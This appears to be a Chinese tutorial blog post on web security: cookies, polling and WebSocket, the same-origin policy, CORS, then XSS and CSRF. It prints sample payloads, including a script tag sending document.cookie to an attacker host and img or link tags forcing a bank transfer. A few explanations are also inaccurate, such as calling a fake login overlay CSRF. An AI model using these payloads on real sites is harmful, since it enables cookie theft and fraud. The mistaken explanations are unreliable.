1. 程式人生 > >web安全同源策略以及跨站指令碼,跨站請求偽造

web安全同源策略以及跨站指令碼,跨站請求偽造

http是無狀態協議 所以伺服器為了辨識訪問者是否已經訪問過 會給瀏覽器一個cookie

瀏覽器再次訪問時候 將cookie傳過去 伺服器就可以知道 該訪問者已經登陸過 不需要再次登陸

 

 

 

但是早起 伺服器是被動 也就是 當瀏覽器發起請求 才會有迴應,如果說對於一些特殊情況,比如需要實時更新的股票資訊,不免需要

瀏覽器每間隔一段時間重複去詢問 查詢股票是否已經變化

瀏覽器 股票漲了了嗎 伺服器 沒有

瀏覽器 股票漲了了嗎 伺服器 沒有

瀏覽器 股票漲了了嗎 伺服器 沒有

瀏覽器 股票漲了了嗎 伺服器 沒有

瀏覽器 股票漲了了嗎 伺服器 漲了

。。。這個過程叫輪詢 效率是很低的

 

 

 

然後現在 websocket可以建立一個長連線 實現伺服器與瀏覽器的實時通訊 無需輪訓

 

 

 

安全:

伺服器通過cookie來辨識使用者身份,因此cookie裡實際上是儲存有使用者的加密資訊,一但黑客獲取到cookie便可以偽造使用者身份去登陸,

比如獲取到網銀的cookie後 就可以去登陸使用者的網銀 因此是非常危險的

 

 

因此 瀏覽器有同源策略

除非兩個網頁的javascipt來自同一個源頭 ,否則不允許一個網頁的javaScript訪問另外一個網頁的內容 包括cookie DOM 等等

 

同一個源頭指的是 url地址相同 埠號相同

 

 

同時 為了方便 支援 嵌入式的 跨域訪問 比如 <script src="xxxx"> <img src="xxx"> 這種相當於是瀏覽器發起了一次get請求 取到相關資源 放到本地,

這個可以不是必須和網站同源 因此也給了黑客可乘之機

 

 

 

後來 往往一個系統有多個子系統 每個子系統又有多個域名,因此同源策略也支援 如果兩個網頁的一級域名相同 可以共享cookie

但是cookie的domain必需設定是那個一級域名 例如 document.cookie 'test=true;path=/;domain=xxx.com' 這裡的xxx.com是一級域名

 

 

另外 同源策略 還是拒絕用ajax去訪問不同源的地址,也就是XMLHttpRequest 物件 只能訪問同源伺服器

 

 

但是現在 都是前後端分離 ,分散式系統 ,這個同源限制了前後端分離的實現,

比如說 前端頁面A中, 有直接使用ajax去獲取後端專案B的資源 ,因為兩個專案A和B不在同一個源(url或者埠不一致),則無法訪問

 

這裡需要用到代理, 也就是 專案A的前端頁面 ,發起請求給專案A的伺服器 ,然後專案A的伺服器 通過伺服器間通訊方式 再去請求專案B的伺服器 拿資料

然後 再返回給前端

 

 

除此之外 還有一種方式 就是如果伺服器之間是互相可以信任的 ,可以在伺服器domain上設定一個白名單 ,列出它允許哪些domain的ajax請求

 

這個方法叫做 CORS (cross origin resource sharing ) 跨站資源共享

 

體現在springboot上就是 @CrossOrigin

 

 

 

 

黑客慣用手法

跨站指令碼 (Cross SIte scripting ) XSS

 

當網頁上有輸入框的時候 而且沒有對輸入進行校驗和過濾 就極有可能被XSS注入攻擊

 

 

舉個例子:

當你在某個網站的評論框裡輸入

 

 

不錯的文章 <script type="text/javascipt"> alert(document.cookie) </script>

 

 

如果這個網站不對輸入進行校驗和過濾轉義的話 就會將整行原封不動的存進資料庫裡,當其他使用者來訪問的時候 ,點開網頁

載入評論的時候 除了看到了 不錯的文章 這幾個字,script指令碼此時也被執行了,這一行的意思是打印出當前使用者的cookie

 

這裡只是舉個例子,這樣就完成一個跨站指令碼的注入 ,攻擊者完全可以將複雜的邏輯封裝成一個js檔案 比如 xx.js ,然後

<script type="text/javascipt" src="xx.com/xx.js"> </script> 將這個js 指令碼注入進去

 

使用者進去就已經載入了這個js

 

js內部還可以構造 <img src="xxx.com/log?"+document.cookie> 這樣的get請求將訪問使用者的cookie 帶到 xx.com這個攻擊者的站點去

 

 

 

 

 

現在很多網站為了防範這種情況 給cookie加上了 HttpOnly這個屬性 一但加上,瀏覽器將禁止javascipt去讀取cookie

 

 

但是黑客可以通過xss注入 不一定非要拿cookie 它甚至可以用js畫一個假的登入框覆蓋到真的登陸框之上,讓使用者去登陸,從而偷盜使用者賬戶密碼

 

這個就是 跨站請求偽造 ( Cross site request forgery ) CSRF

 

 

比如說 你在登陸了網銀的情況下,此時網銀的cookie是存在的

 

此時 有一條顯示在垃圾廣告中的訊息 恭喜你獲得了一臺iphoneX 點選領取 你一點 發現 自己的網銀裡的錢 沒了

 

這個 訊息的實質是 <a href="網銀頁面的地址/轉賬地址?toBanKId=黑客的賬戶&money=金額"> 恭喜你獲得了一臺iphoneX 點選領取 </a>

 

<a>標籤裡的內容是不會顯示出來的 所以使用者往往不小心就點了,因為訪問的這個一個轉賬的url 因為此時使用者正好在網銀頁面,cookie是存在的,因此網銀的伺服器就會認為該使用者要轉賬。

 

這就是請求偽造

 

 

然而 完全可以使用者不點選就中招 比如 在某個頁面裡放上

 

<img src="網銀頁面的地址/轉賬地址?toBanKId=黑客的賬戶&money=金額">恭喜你獲得了一臺iphoneX 點選領取 </img>

 

 

當用戶開啟頁面的時候 ,圖片就會自動載入,此時就等於是在訪問轉賬頁面了